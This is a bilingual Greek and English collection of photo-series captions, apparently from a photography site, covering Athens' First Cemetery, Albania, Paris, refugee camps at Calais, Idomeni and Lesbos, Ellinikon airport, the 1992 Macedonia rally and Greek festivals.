Φωτογραφίες: Πηνελόπη Γερασίμου

Το Πρώτο Νεκροταφείο είναι το παλαιότερο νεκροταφείο της σύγχρονης Αθήνας. Οι πρώτες εργασίες στον χώρο ξεκίνησαν το 1834. Εδώ αναπαύονται πολλοί σπουδαίοι Έλληνες, αλλά και απλοί πολίτες των Αθηνών. Είναι ένας χώρος κατάφυτος από πεύκα και κυπαρίσια, με μαρμάρινα και μεταλλικά γλυπτά, προτομές και αναθήματα, μερικά εξαιρετικής τεχνικής και ομορφιάς, να ξεπροβάλουν μέσα από πυκνές φυλλωσιές που καλύπτουν μνήματα τόσο παλιά και πολλά ξεχασμένα από τον χρόνο και τους ζωντανούς, που μοιάζουν σχεδόν αρχαϊκά ερείπια στα μάτια των νεοτέρων, αλλά και σκοτεινά αναπόφευκτα μονοπάτια προς το επέκεινα για τους μοναχικούς περιπλανώμενους.

Ένας από τους πιο γνωστούς τάφους του Πρώτου Νεκροταφείου, αυτός της Σοφίας Αφεντάκη, κοσμείται από το γλυπτό του Γιαννούλη Χαλεπά με το όνομα Κοιμωμένη. Η Κοιμωμένη αποφασίσθηκε πρόσφατα να μεταφερθεί οριστικά στην Εθνική Γλυπτοθήκη. Στον τάφο θα τοποθετηθεί αντίγραφο του γλυπτού.

Άλλων σπουδαίων μνήματα, είναι του Χαρίλαου Τρικούπη, του Οδυσσέα Ανδρούτσου, του Μαυροκορδάτου, της Σοφίας Βέμπο, του ευεργέτη Βαρβάκη, του Γεωργίου Αβέρωφ, της Μαρίκας Κοτοπούλη, της Βουγιουκλάκη, αλλά και της Καρέζη, της Μελίνας, του Σωτήρη Πέτρουλα κ.ά.

Photos: Dimitris Sakalakis

The first time I visited Albania was for a photography workshop, though returning I realized something was still missing, therefore I went back twice. The minute I arrived I knew exactly what I had to take on; i just wasn't quite sure as to how i would express it. It wasn't long before I discovered how much I admired these women, however the reason was unexplainable. Young, old, women of all ages were speaking to me revealing everything I wanted to capture. The background in some way refers to the harsh history Albania's undergone, though besides that, these personas stood in front of it loyally, respecting their land in the hopes that one day their home as they know it might flourish again.

+

Φωτογραφίες: Δημήτρης Σακαλάκης

Η πρώτη φορά που επισκέφθηκα την Αλβανία ήταν για ένα εργαστήριο φωτογραφίας, αν και επιστρέφοντας κατάλαβα ότι κάτι έλειπε ακόμα. Ως εκ τούτου, πήγα πίσω δύο φορές. Από την στιγμή που έφτασα, ήξερα ακριβώς τι έπρεπε να κάνω. Απλά δεν ήμουν σίγουρος ως προς το πώς θα το εκφράσω φωτογραφικά. Δεν ήταν πολύ καιρός μετά, που ανακάλυψα πόσο θαύμαζα αυτές τις γυναίκες, που έβλεπα στον δρόμο. Ωστόσο, δεν μπορούσα να εξηγήσω τον λόγο. Νεαρές, ηλικωμένες, γυναίκες όλων των ηλικιών μου μιλούσαν αποκαλύπτοντας μου σιγά σιγά, όλα όσα ήθελα να συλλάβω με τον φακό μου. Το υπόβαθρο σ'αυτές τις εικόνες, κατά κάποιο τρόπο αναφέρεται στη σκληρή ιστορία της Αλβανίας, που δεν είναι τόσο μακρυνή ακόμα. Εκτός από αυτό, όμως, αυτά τα πρόσωπα στάθηκαν μπροστά μου με αφοσίωση και πίστη, με σεβασμό για την χώρα τους, με την ελπίδα ότι μια μέρα το σπίτι τους, όπως το γνωρίζουν, θα μπορούσε να ανθίσει ξανά.

Photos: Gerasimos Domenikos

Images of a deserted Athens fading through the dense snow that falls one night in January 2017.

+

Φωτογραφίες: Γεράσιμος Δομένικος

Εικόνες μιας έρημης Αθήνας που αχνοφαίνεται μέσα από το πυκνό χιόνι που πέφτει ένα βράδυ του Ιανουαρίου του 2017.

Photos: Gerasimos Domenikos

FOSPHOTOS photographer Gerasimos Domenikos deconstructs the image of Athens in light lines and abstract forms, in order to expose his own queer city version for 2016, which is constantly moving around an uncertain point, no start and no finish.

+

Φωτογραφίες: Γεράσιμος Δομένικος

Ο φωτογράφος της FOSPHOTOS Γεράσιμος Δομένικος αποδομεί την εικόνα της Αθήνας σε φως, γραμμές και φόρμες αφηρημένες, δίνοντας την δική του queer εκδοχή της πόλης για το 2016, η οποία κινείται συνεχώς γύρω από ένα αβέβαιο σημείο, χωρίς εκκίνηση και χωρίς τερματισμό.

Photos: Bernard Steffin

A Sunday stroll in the streets of Paris, between chairs, lamps, people and monuments. From the flea market Marché de Clignancourt until the Place de la Republique. Old monuments and monuments of now.

+

Φωτογραφίες: Bernard Steffin

Μια κυριακάτικη βόλτα στους δρόμους του Παρισιού, ανάμεσα σε καρέκλες, φωτιστικά, ανθρώπους και μνημεία. Από την αγορά της Κλινιανκούρ μέχρι την Πλας ντε λα Ρεπουμπλίκ. Μνημεία παλιά και μνημεία του τώρα.

photographs: Cristos Potsios

Land trapped in time

+φωτογραφίες: Χρήστος Πότσιος

Περιπλάνηση στα τοπία μιας χώρας παγιδευμένη στο χρόνο

Photos: Bernard Steffin

This serie of photos shows a refugee camp daily situation, located in northern France. Our news channels and papers love those images, showing poverty, mentioning rape, drugs and all kind of violance in depraved poor countries of Africa and Middle East. Recently, some politicians started talking of hordes and invasion, avalanches of economical migrants, even war ...It seems that these words remain unpunished, even worse, it's a vote magnet in the business of fear. What has been impossible to even think some 5 months ago, becomes an accepted speech on demonstrations.
These days its called a migration camp, which seems to be a new species of human, the people which are often described as agressive and eager to take our cars and women ... the order is important. The about 6000 inhabitants wait for a chance to cross the channel to the UK, by jumping on trucks, boats, trains and it's placed about 30 to 90 minutes by train, not by space ship, from London, Brussels , Amsterdam or Paris, it even has a name, its called the jungle !!!

http://www.bernardsteffin.com/

+

Φωτογραφίες: Bernard Steffin

Αυτή η σειρά φωτογραφιών παρουσιάζει την καθημερινότητα σ' έναν καταυλισμό προσφύγων στην Βόρεια Γαλλία, απέναντι από την Αγγλία. Τα ειδησεογραφικά πρακτορεία, τα τηλεοπτικά κανάλια και οι εφημερίδες μας αγαπούν αυτές τις εικόνες, που παραπέμπουν στα κλισέ της φτώχειας, των βιασμών, των ναρκωτικών, των επιδημιών, σε όλα τα είδη βίας στις διεφθαρμένες φτωχές χώρες της Αφρικής και της Μέσης Ανατολής, που τρέφουν την δική μας επικαιρότητα. Πρόσφατα, ορισμένοι πολιτικοί άρχισαν να μιλούν για ορδές και εισβολή, για χιονοστιβάδες οικονομικών μεταναστών, ακόμη και για πόλεμο ...Φαίνεται ότι αυτές οι λέξεις παραμένουν ατιμώρητες, ακόμα χειρότερα, αποτελούν ένα μαγνήτη συλλογής ψήφων, αξιοποιώντας την επικερδή επιχείρηση του φόβου. Ό, τι θεωρούνταν αδύνατο ακόμα και να το σκεφθεί κανείς περίπου 5 μήνες πριν, γίνεται τώρα αποδεκτός λόγος/σύνθημα στις διαδηλώσεις. Αυτές τις μέρες ο καταυλισμός αυτός ονομάζεται σημείο συγκέντρωσης μεταναστών, που φαίνεται να είναι ένα νέο είδος ανθρώπου, αυτοί οι άνθρωποι που συχνά περιγράφονται ως επιθετικοί και πρόθυμοι να πάρουν τα αυτοκίνητα και τις γυναίκες μας ... η τάξη είναι σημαντική. Οι περίπου 6000 κάτοικοι περιμένουν για μια ευκαιρία να διασχίσουν τη Μάγχη προς το Ηνωμένο Βασίλειο, πηδώντας σε φορτηγά, βάρκες, τρένα. Ο καταυλισμός απέχει περίπου 30 έως 90 λεπτά με το τρένο, και όχι με διαστημόπλοιο, από το Λονδίνο, τις Βρυξέλλες, το Άμστερνταμ ή το Παρίσι, κι έχει ακόμη ένα όνομα: ονομάζεται ζούγκλα !!!

http://www.bernardsteffin.com/

Photos: Gerasimos Domenikos

Typically, what happens with the Greek summer, is a mood for cancellation of tangible reality, because of a common phenomenon. The sunlight is refracted through the droplets of sea humidity, which is created by high temperatures and suspended in the atmosphere. This results in a retreat of the limits of the actual dimensions and in the ambiguity of the form of objects and time surrounding them. Also, due to the intense light, the eyes of the people, to protect them, remain drooped and half shut, until late afternoon. But this slip of vision, does not invalidate the intensity with which summer light makes the color and the form of things and bodies explode. In moments of clarity of the human eye, the summer is just that. Forms at light.

+

Φωτογραφίες: Γεράσιμος Δομένικος

Συνήθως, αυτό που συμβαίνει με το ελληνικό καλοκαίρι, είναι μια διάθεση ακύρωσης της απτής πραγματικότητας, εξ αιτίας ενός κοινού φαινομένου. Το φως του ήλιου διαθλάται μέσα από τα σταγονίδια της θαλασσινής υγρασίας, η οποία δημιουργείται από τις υψηλές θερμοκρασίες και αιωρείται στην ατμόσφαιρα. Αυτό έχει σαν αποτέλεσμα την χαλάρωση των ορίων των πραγματικών διαστάσεων και την ασάφεια της φόρμας των αντικειμένων και του χρόνου που τα περιβάλλει. Επίσης, λόγω του έντονου φωτός, τα μάτια των ανθρώπων για την προστασία τους, μέχρι αργά το απόγευμα, παραμένουν γερμένα και μισόκλειστα. Αυτό το οπτικό ολίσθημα όμως, δεν ακυρώνει την ένταση με την οποία το καλοκαιρινό φως κάνει να εκρήγνυνται το χρώμα και η φόρμα των πραγμάτων και των σωμάτων. Σε στιγμές διαύγειας του ανθρώπινου ματιού, το καλοκαίρι είναι μόνο αυτό. Σχήματα στο φως.

Photos: Angelos Christofilopoulos and Gerasimos Domenikos

Ellinikon Airport was the international airport of Athens, Greece, for sixty years up until 2001. The main building, the East Terminal building for the international flights, was designed between 1960 and 1969 by the famous Finnish architect Eero Saarinen. After the final closure of the airport, several politicians and ministers announced various projects for new development of the area, but none of them finally proceeded. Right now, after fifteen years of total abandonment, Ellinikon is a huge urban space in decline, in front of the coastal front of Athens. Anyway, the last two years, during the ongoing European migrant crisis, the abandoned airport has found a new use. It became a shelter for poor refugees from all over the world. Last month, Greek parliament passed the law on re-regeneration of the area. Perhaps, the decline of Ellinikon is going to stop here and a new period to start soon.

+

Φωτογραφίες: Αγγελος Χριστοφιλόπουλος και Γεράσιμος Δομένικος

To Αεροδρόμιο του Ελληνικού ήταν το διεθνές αεροδρόμιο της Αθήνας για πάνω από 60 χρόνια, μέχρι το Μάρτιο του 2001, οπότε και έκλεισε. Το κεντρικό κτήριο του ανατολικού αερολιμένα των διεθνών πτήσεων, έχει σχεδιαστεί από τον διάσημο Αμερικανοφινλανδό αρχιτέκτονα Έερο Σάαρινεν. Μετά το οριστικό κλείσιμο του αεροδρομίου, εξαγγέλθηκαν, από πολλούς πολιτικούς και υπουργούς κυβερνήσεων, διάφορα σχέδια για την εκ νέου αξιοποίησή του, αλλά κανένα από αυτά δεν προχώρησε τελικά. Αυτή τη στιγμή, μετά από δεκαπέντε χρόνια πλήρους εγκατάλειψης, το Ελληνικό αποτελεί έναν τεράστιο αστικό χώρο σε ολική παρακμή, μπροστά στο πολύτιμο, για τους κατοίκους της, παραθαλάσσιο μέτωπο της Αθήνας. Όπως και  να 'χει, τα τελευταία δύο χρόνια, κατά τη διάρκεια του εν εξελίξει μεταναστευτικού κύματος που πλημμυρίζει την Ευρώπη, το εγκαταλελειμμένο αεροδρόμιο έχει βρει μια νέα χρήση. Έγινε καταφύγιο για φτωχούς πρόσφυγες από όλο τον κόσμο. Από την Ελληνική Βουλή ψηφίστηκε, τον προηγούμενο μήνα, ο νόμος για την εκ νέου ανάπλαση της περιοχής. Ίσως, η παρακμή του Ελληνικού να σταματάει εδώ και μια καινούρια εποχή να ξεκινήσει σύντομα.

Photos: Maro Kouri

A tour at the the nightlife of Istanbul, at the distant year of 2002, by Greek female photographer Maro Kouri. These were years of innocence and optimism for the most cosmopolitan city of the near East. A blend of tilting sounds, rare scents and intense flavors, blend exhilarating even today, now that Istanbul is oppressed by fear and division.

+

Φωτογραφίες: Μάρω Κουρή

Μια περιήγηση στα νυχτερινά στέκια διασκέδασης της Κωνσταντινούπολης, το μακρυνό 2002, από την φωτογράφο Μάρω Κουρή. Χρόνια αθωότητας και αισιοδοξίας για την πιο κοσμοπολίτικη πόλη της Εγγύς Ανατολής. Ένα χαρμάνι από λικνιστικούς ήχους, σπάνιες μυρωδιές και έντονες γεύσεις, χαρμάνι μεθυστικό ακόμα και σήμερα, τώρα πια που την Κωνσταντινούπολη καταδυναστεύει ο φόβος και ο διχασμός.

Anastasia Voutyropoulou studied photography with Platon Rivellis in Athens and continued her studies at the Royal College of Art in London. She lives and works in Athens, Greece.

http://www.anastasiav.com/+Η Αναστασία Βουτυροπούλου σπούδασε φωτογραφία με τον Πλάτωνα Ριβέλλη στην Αθήνα και συνέχισε τις σπουδές της στο Royal College of Art στο Λονδίνο. Ζει και εργάζεται στην Αθήνα.

http://www.anastasiav.com/

Natasha Pantazopoulou I am working professionally on photography and videography since 2000.

I am fascinated by shooting portraits and faces, people and everyday life, abstractions and details, street photography, cityscapes and urban architecture, archeological and historical landscapes.

photonat

+

Νατάσσα Πανταζοπούλου Δουλεύεω επαγγελματικά με την φωτογραφία και το βίντεο από το 2000.

Με συναρπάζει ιδιαίτερα να φωτογραφίζω πρόσωπα, ανθρώπους στην καθημερινότητά τους και τις ιστορίες τους. Να φωτογραφίζω στον δρόμο, αφαιρετικές φόρμες και λεπτομέρειες, αστικά τοπία και αρχιτεκτονική, αρχαιολογική και ιστορική τοπιογραφία.

photonat

Photos: Gerasimos Domenikos

Images from the year 1992, when Greek politicians and Greek TV channels revolted people to demonstrate on the streets yelling the slogan "Macedonia is Greek." The mobilization of the world was unprecedented, since up schools participated in the rally with the blessing of the Greek Orthodox Church and of the then government. The story of the time indicated that nearly half a million people from all over Greece gathered in the Pedion Tou Areos Park that day,  at December 10, 1992, and this was the forerunner of even larger rally held two months after at Thessaloniki, capital of the Greek Macedonia territory, second largest city in Greece.

+

Φωτογραφίες: Γεράσιμος Δομένικος

Εικόνες από το μακρινό 1992, όταν κυβερνήσεις και τηλεοπτικοί σταθμοί κατέβαζαν πλήθος κόσμου στους δρόμους με σύνθημα «Η Μακεδονία είναι Ελληνική.» Η κινητοποίηση του κόσμου ήταν πρωτοφανής, αφού μέχρι και τα σχολεία συμμετείχαν στο συλλαλητήριο με τις ευλογίες της Εκκλησίας και της τότε κυβέρνησης. Το ρεπορτάζ της εποχής αναφέρει πως σχεδόν μισό εκατομμύριο άνθρωποι από όλη την Ελλάδα συγκεντρώθηκαν στο Πεδίο του Άρεως εκείνη την μέρα 10 Δεκεμβρίου 1992, και υπήρξε ο προπομπός του ακόμα μεγαλύτερου συλλαλητηρίου που έγινε δύο μήνες μετά στη Θεσσαλονίκη.

Photos: Spyros Staveris

Vintage collection of images of the 10th Transvestite Beauty Contest at Peroke Theatre in Athens, 28.05.1990.

+

Φωτογραφίες: Σπύρος Στάβερης

Επιλογή αρχειακών φωτογραφιών από τα δέκατα καλλιστεία τραβεστί στο θέατρο Περοκέ, Αθήνα, 28.5.1990

Photos: Bernard Steffin

Paris, the city of light, of love and many other things, Paris is known to everybody, even to you, it doesn't matter if you don't live there or you have ever visited it, as one million visitors do every year. This city, La Capitale as the French call it, has certainly been photographed to death!

But once in a while, something really important happens, such as a special, magical light envelops the entire city. The January 14, 2016 was such a day. The deep winter sun, the heavy clouds, rain, storm, low temperatures, all played an important role in these images. Landscapes of Paris, on a cold rainy day with sun.

+

Φωτογραφίες: Bernard Steffin

Παρίσι, η πόλη του φωτός, του έρωτα και πολλών άλλων πραγμάτων, είναι γνωστή σε όλους, ακόμα και αν δεν έχετε ζήσει εδώ ή δεν την έχετε επισκεφθεί ποτέ, όπως εκατομμύρια ταξιδιώτες κάθε χρόνο. Η εικόνα του Παρισιού σας είναι οικεία, αυτή η πόλη, La Capitale όπως γαλλικά την αποκαλούν, έχει σίγουρα φωτογραφηθεί μέχρι θανάτου!

Όμως μια φορά στις τόσες, συμβαίνει κάτι πραγματικά σπουδαίο, όπως ένα ιδιαίτερο, μαγικό φως να τυλίγει όλη την πόλη. Η 14η Ιανουαρίου 2016 ήταν μια τέτοια ημέρα. Ο βαθύς ήλιος του χειμώνα, τα βαριά σύννεφα, η βροχή, η καταιγίδα, οι χαμηλές θερμοκρασίες, όλα έπαιξαν σημαντικό ρόλο σε αυτές τις εικόνες. Τοπία του Παρισιού, μια κρύα βροχερή μέρα με ήλιο.

Photos: Angelos Christofilopoulos

Thousands refugees remain stranded at the Balkan border in Idomeni. EU leaders and Turkey agreed on Friday a joint position on a controversial plan to tackle the massive influx of refugees, as thousands fleeing war in Middle East continue to cross from Turkey to Greece on way to more prosperous Western Europe. The agreement has come under criticism from EU leaders and aid agencies for being potentially illegal and impractical. Under the scheme, refugees arriving in Greece after midnight Sunday will be sent back to Turkey if their asylum claim is rejected. In return, EU countries will resettle thousands of migrants from Turkey.

More precisely, for every “irregular” Syrian refugee the EU sends back across the Aegean, an “official” Syrian in Turkey will be given a new home in Europe. The aim is to break the business model of the people smugglers and offer refugees an alternative to risking their lives. For non-Syrians, the route to Europe is entirely cut off. For Turkey, the “one-for-one” plan will also accelerate the disbursement of financial aid, and will speed up plans for Turkish people to travel visa-free inside the Schengen area.

In addition, EU partners will provide manpower and resources to help Greece cope  with the new challenge and with a backlog of 44,000 refugees already stuck in its territory —  a number ticking upward each day, as aid groups warn of a potential humanitarian crisis by summer.

Meanwhile in Idomeni: Some 12,000 refugees are trapped in Idomeni, the northern border village that has become a squalid makeshift camp, after the Former Yugoslav Republic of Macedonia and other Balkan countries decided to seal their borders and allow only a handful to cross each day. On Monday, March 14, unable to tolerate the conditions, about 2,000 refugees bypassed the border by wading through the freezing waters of Crna Reka river and entered the Former Yugoslav Republic of ‎Macedonia. There, armed police and military forces stopped them, while nearly 80 reporters and aid workers, who followed the “March of Hope,” were immediately arrested. The refugees were driven away in military transport.

Following the events and ahead of the EU-Turkey summit in Brussels, our photographer Angelos Christofilopoulos spent the week in Idomeni and captured the life of the refugees, who wait anxiously there, hoping the current border closure might be lifted so they can continue their journey.

+

Φωτογραφίες: Άγγελος Χριστοφιλόπουλος

Χιλιάδες πρόσφυγες παραμένουν εγκλωβισμένοι στα Βαλκανικά σύνορα στην Ειδομένη. Οι ηγέτες της Ευρωπαϊκής Ένωσης και η Τουρκία συμφώνησαν την Παρασκευή σε μια κοινή θέση σχετικά με ένα αμφιλεγόμενο σχέδιο για την αντιμετώπιση της μαζικής εισροής προσφύγων, καθώς χιλιάδες άνθρωποι, για να ξεφύγουν από τους πολέμους που μαίνονται στη Μέση Ανατολή, συνεχίζουν να περνούν από την Τουρκία στην Ελλάδα, ζητώντας να βρεθούν στην ευημερούσα Δυτική Ευρώπη.

Η συμφωνία που επιτεύχθηκε δέχθηκε την κριτική ηγετών της ΕΕ και των διεθνών, ανθρωπιστικών οργανώσεων ως δυνητικά παράνομη και ανεφάρμοστη. Σύμφωνα με το προσχέδιο, οι πρόσφυγες που φτάνουν στην Ελλάδα μετά τα μεσάνυχτα της Κυριακής 20 Μαρτίου 2016, θα στέλνονται πίσω στην Τουρκία, αν η αίτησή τους για άσυλο απορριφθεί.

Σε αντάλλαγμα, οι χώρες της ΕΕ θα δεχτούν την μετεγκατάσταση σε αυτές χιλιάδων μεταναστών από την Τουρκία. Πιο συγκεκριμένα, για κάθε «παράτυπο» Σύρο πρόσφυγα, που η ΕΕ θα στέλνει πίσω στο Αιγαίο, ένας "νόμιμος" πρόσφυγας στην Τουρκία θα βρίσκει ένα νέο σπίτι στην Ευρώπη. Ο στόχος είναι να σπάσει το επιχειρηματικό μοντέλο των λαθρεμπόρων/διακινητών και να προσφερθεί στους πρόσφυγες μια εναλλακτική λύση για να μην διακινδυνεύουν τη ζωή τους. Για τους μη-Σύρους πρόσφυγες, η διαδρομή προς την Ευρώπη θα είναι εντελώς αποκλεισμένη.

Για την Τουρκία, το σχέδιο «ένας προς έναν» θα επιταχύνει επίσης την εκταμίευση της οικονομικής βοήθειας, που η ΕΕ δέχθηκε να προσφέρει στην χώρα, και ταυτόχρονα θα επιταχύνει τα σχέδια για τους Τούρκους πολίτες, να ταξιδεύουν χωρίς βίζα εντός της ζώνης Σένγκεν. Επιπλέον, οι εταίροι της ΕΕ θα παρέχουν ανθρώπινο δυναμικό και πόρους για να βοηθήσουν την Ελλάδα να αντιμετωπίσει τη νέα πρόκληση και με έναν αριθμό 44.000 προσφύγων που έχουν ήδη κολλήσει στο έδαφός του - ένας αριθμός που αυξάνεται μέρα με τη μέρα. Ομάδες εθελοντών προειδοποιούν για μια πιθανή ανθρωπιστική κρίση μέχρι το καλοκαίρι.

Εν τω μεταξύ, στην Ειδομένη: Περίπου 12.000 πρόσφυγες βρίσκονται παγιδευμένοι στην Ειδομένη, το ακριτικό χωριό στα βόρεια σύνορα της Ελλάδας, που έχει μεττατραπεί σε αυτοσχέδιο καταυλισμό με άθλιες συνθήκες διαβίωσης, μετά από την απόφαση της πΓΔΜ και άλλων βαλκανικών χωρών να σφραγίσουν τα σύνορά τους και να επιτρέπουν μόνο σε μια χούφτα ανθρώπους κάθε μέρα να τα διασχίζουν.

photos: Pinelopi Gerasimou

Strolling in Berlin at night, cloudy sky, darkness into trees, silence into the big buildings.

+

φωτογραφίες: Πηνελόπη Γερασίμου

Τριγυρνώντας στο νυχτερινό Βερολίνο, ο συννεφιασμένος ουρανός, το σκοτάδι ανάμεσα στα δέντρα, η σιωπή στα μεγάλα κτήρια.

photographs: Yannis Drakoulidis

Α small trip in the snowy landscape of Lake Prespa. In northwest Greece.

+

φωτογραφίες: Γιάννης Δρακουλίδης

Ένα μικρό ταξίδι στο χιονισμένο τοπίο των λιμνών Πρεσπών. Στην βορειοδυτική Ελλάδα.

photos: Pinelopi Gerasimou

Small trip to archaeological site of Delphi, at central Greece. Delphi was one of the most famous oracles of ancient world. The site is found on the slopes of Mount Parnassos, hanging above the valley of Pleistos.

+

φωτογραφίες: Πηνελόπη Γερασίμου

Μικρό ταξίδι στον αρχαιολογικό χώρο των Δελφών. Οι Δελφοί ήταν ένα από τα διασημότερα μαντεία του αρχαίου κόσμου. Βρίσκεται στις πλαγιές του Παρνασσού, κρεμασμένο πάνω από την κοιλάδα του Πλειστού.

+

φωτογραφίες: Άγγελος Χριστοφιλόπουλος

Photos: Bernard Steffin

After the terrorist attacks in Paris on November 13th, 2015, all external borders in Europe were closed to migrants from non-belligerent countries. Thousands of people immobilized in refugee camp near the town of Eidomeni, at Greece's borders with FYROM. Some sewed their mouths and others began a hunger strike as a protest about this injustice.

+

Φωτογραφίες: Bernard Steffin

Μετά τις τρομοκρατικές επιθέσεις στο Παρίσι στις 13 του Νοέμβρη 2015, όλα τα εξωτερικά, ευρωπαϊκά σύνορα έκλεισαν για τους μετανάστες από μη εμπόλεμες χώρες. Χιλιάδες άνθρωποι ακινητοποιήθηκαν στον προσφυγικό καταυλισμό της Ειδομένης, στα σύνορα της Ελλάδας με την πΓΔΜ. Κάποιοι έραψαν τα στόματά τους και κάποιοι άλλοι ξεκίνησαν απεργία πείνας, σαν ένδειξη διαμαρτυρίας γι αυτή την αδικία.

Photos: Angelos Christofilopoulos

The shipwreck of a Turkish vessel carrying 300 refugees close to the shores of Lesbos island, of whom at least 38 are still missing, and dozens of other drowning incidents even of young children, risking their own lives in their attempt to cross the Greek-Turkish border at the eastern Aegean sea, turned once again the world news spotlight on the island of Lesbos. Where people uprooted by war take the first step on European soil in their desperate journey to a better future.

+

Φωτογραφίες: Άγγελος Χριστοφιλόπουλος

Το ναυάγιο ενός τουρκικού σκάφους το οποίο μετέφερε 300 πρόσφυγες ανοικτά της Μυτιλήνης την τελευταία εβδομάδα του Οκτώβρη εκ των οποίων τουλάχιστον 38 αγνοούνται, καθώς και δεκάδες άλλα περιστατικά πνιγμών ακόμα και μικρών παιδιών, στην προσπάθειά τους να διασχίσουν τα θαλάσσια ελληνοτουρκικά σύνορα του ανατολικού Αγαίου με κίνδυνο την ίδια τους τη ζωή, έστρεψε για άλλη μια φορά τα φώτα της παγκόσμιας ειδησεογραφίας στο νησί της Μυτιλήνης. Εκεί που άνθρωποι ξεριζωμένοι απο τον πόλεμο πατάνε για πρώτη φορά το πόδι τους σε Ευρωπαικό έδαφος, στο απελπισμένο ταξίδι τους για ενα καλλίτερο μέλλον.

Photos: Angelos Christofilopoulos

The "Western Balkan route" is the most common refugee and migration path towards the EU. After the dangerous sea passage of Greek-Turkish border which often ends in tragedy with shipwrecks and drowned people, the next part of the journey starts from the Greek-Macedonia border at Eidomeni. Crosses FYROM with next station at Prešov and ends at Berkasovo in Serbo-Croatian border. Then crosses Croatia and Hungary with final destination the northern European countries, mainly Germany.

+

Φωτογραφίες: Άγγελος Χριστοφιλόπουλος

Η «διαδρομή των δυτικών Βαλκανίων» αποτελεί την πιο διαδεδομένη προσφυγική και μεταναστευτική οδό προς την ΕΕ. Μετά το επικίνδυνο θαλάσσιο πέρασμα των ελληνοτουρκικών συνόρων που πολλές φορές καταλήγει σε τραγωδία με δεκάδες ναυάγια και εκατοντάδες πνιγμένους ανθρώπους, το επόμενο σκέλος του ταξιδιού η λεγόμενη «Βαλκανική διαδρομή» ξεκινά απο την Ειδωμένη στα ελληνοσκοπιανά σύνορα. Διασχίζει την FYROM με επόμενο σταθμό το Πρέσοβο και καταλήγει στο Μπερκάσοβο στα σερβοκροατικά σύνορα. Μετά διασχίζει την Κροατία και την Ουγγαρία με τελικό προορισμό τις βορειοευρωπαικές χώρες και κυρίως τη Γερμανία.

Photos: Angelos Christofilopoulos

Weak coordination and severe shortages in facilities and staff create dreadful conditions for the hundreds of refugees and migrants arriving every day on the Greek island of Lesvos, which is facing the highest number of arrivals in Greece. Authorities are failing to cope with the dramatic increase in the number of people arriving on the island as part of their journey to Northern Europe. Meanwhile Kos, Chios and other Greek islands in the East Aegean Sea have also received refugees and migrants that crossed the Greek-Turkish borders. Alone in 2015, Lesvos has received the highest number: more than 93,000 migrants. The vast majority are refugees and migrants are coming from Syria, Afghanistan and Iraq according to the UNHCR.

+

Φωτογραφίες: Άγγελος Χριστοφιλόπουλος

Η έλλειψη υποδομών και υπηρεσιών υποδοχής προσφύγων εχει δημιουργήσει εκρηκτική ατμόσφαιρα στο λιμάνι της Μυτιλήνης που δέχεται τους περισσότερους πρόσφυγες που φτάνουν στα Ελληνικά νησιά απο τα Τουρκικά παράλια. Σύμφωνα με την Υπατη Αρμοστεία του ΟΗΕ περισσότεροι απο 93.000 έχουν φτάσει μεσα στο 2015 στο νησί. Εκεί συγκεντρώνονται στο λιμάνι περιμένοντας την άδεια των τοπικών αρχών να επιβιβαστούν στο πλοίο για Πειραιά, ως μέρος του ταξιδιού τους προς τις Βόρειοευρωπαικές χώρες. Η μεγάλη πλειοψηφία αυτών των ανθρώπων είναι πρόσφυγες απο την Συρία, το Αφγανιστάν και το Ιράκ.

Photos: Panagiotis Tzamaros

The Syrians refugees trying to find a better place to live. Photographer Panagiotis Tzamaros spent with them three days and nights on the border between Greece and FYROM.

Thousands of Syrian refugees stranded in Greece trying to find their way to the countries of Northern and Central Europe through FYROM. At the border, daily, thousands of desperate people crowd together, following up the suffering that has been initiated by the civil war, that plagues the last five years their homeland. Panagiotis Tzamaros was found for three days next to these people and has recorded what is the true face of human suffering.

+

Φωτογραφίες: Παναγιώτης Τζάμαρος

Οι Σύροι πρόσφυγες προσπαθούν να βρουν ένα καλύτερο τόπο να ζήσουν. Ο φωτογράφος Παναγιώτης Τζάμαρος πέρασε μαζί τους τρία μερόνυχτα στα σύνορα Ελλάδας και FYROM.

Χιλιάδες πρόσφυγες από τη Συρία έχουν εγκλωβιστεί στην Ελλάδα προσπαθώντας να βρουν διέξοδο προς τις χώρες της Βόρειας και Κεντρικής Ευρώπης μέσα από την ΠΓΔΜ. Στα σύνορα καθημερινά συνωστίζονται χιλιάδες άνθρωποι, δίνοντας συνέχεια στην ταλαιπωρία που έχει ξεκινήσει από τον εμφύλιο πόλεμο, που μαστίζει εδώ και πέντε χρόνια την πατρίδα τους. Ο Παναγιώτης Τζάμαρος  βρέθηκε τρεις μέρες δίπλα τους και κατέγραψε ποιο είναι το πραγματικό πρόσωπο της ανθρώπινης δυστυχίας.

Photos: Pinelopi Gerasimou

Greek summer: human figures in the midday heat or sweetness that rises at dusk, usually by the sea or immersed in a cool shade.

+

Φωτογραφίες: Πηνελόπη Γερασίμου

Ελληνικό καλοκαίρι: ανθρώπινες φιγούρες στη ζέστη του μεσημεριού ή στη γλύκα που αναδύει το σούρουπο, συνήθως δίπλα στο κύμα ή βυθισμένοι σε κάποια δροσερή σκιά.

Photos: Giorgos Tatakis

Local feast at Saint Symeon Monastery, near the city of Missolonghi, western Greece. Celebrations last for two days and two nights. On the first day, there is the brilliant parade in the city center with horsebacks and men and women dressed in traditional costumes. Then a dinner feast follows with traditional music, singing and dancing in the courtyard of the monastery. The next day, there is the holy liturgy in the church and the priest is committing group baptisms. In the  afternoon, the local feast starts again, wilder and frantic now, holding until dawn.This is the second time of the year that the feast takes place. At the day of the Holy Spirit celebration, in Orthodox religion. In addition, there is the winter festival.

+

Φωτογραφίες: Γιώργος Τατάκης

Το τοπικό πανηγύρι του Αγίου Συμεών, κοντά στο Μεσσολόγγι, δυτική Ελλάδα. Οι εορτασμοί διαρκούν δύο μέρες και δύο νύχτες. Την πρώτη μέρα υπάρχει η λαμπρή παρέλαση στο κέντρο της πόλης με καβαλαρίες και άντρες,γυναίκες και παιδιά ντυμένους με παραδοσιακές στολές. Ακολουθεί βραδυνό γλέντι με παραδοσιακή μουσική στην αυλή του μοναστηριού. Την επόμενη μέρα, γίνεται η Θεία Λειτουργία στην εκκλησία και τελούνται ομαδικές βαπτίσεις, και το απογευματάκι ξεκινά πάλι το γλεντοκόπι, πιο άγριο και ξέφρενο αυτή τη φορά, που κρατά μέχρι το ξημέρωμα. Είναι η δεύτερη φορά του χρόνου που συμβαίνει αυτό το πανηγύρι, την Πεντηκοστή, ημέρα εορτασμού του Αγίου Πνεύματος. Υπάρχει ακόμα ένα πανηγύρι που γίνεται τον χειμώνα.

Photos: Panayiotis Tzamaros, Aggelos Christofilopoulos

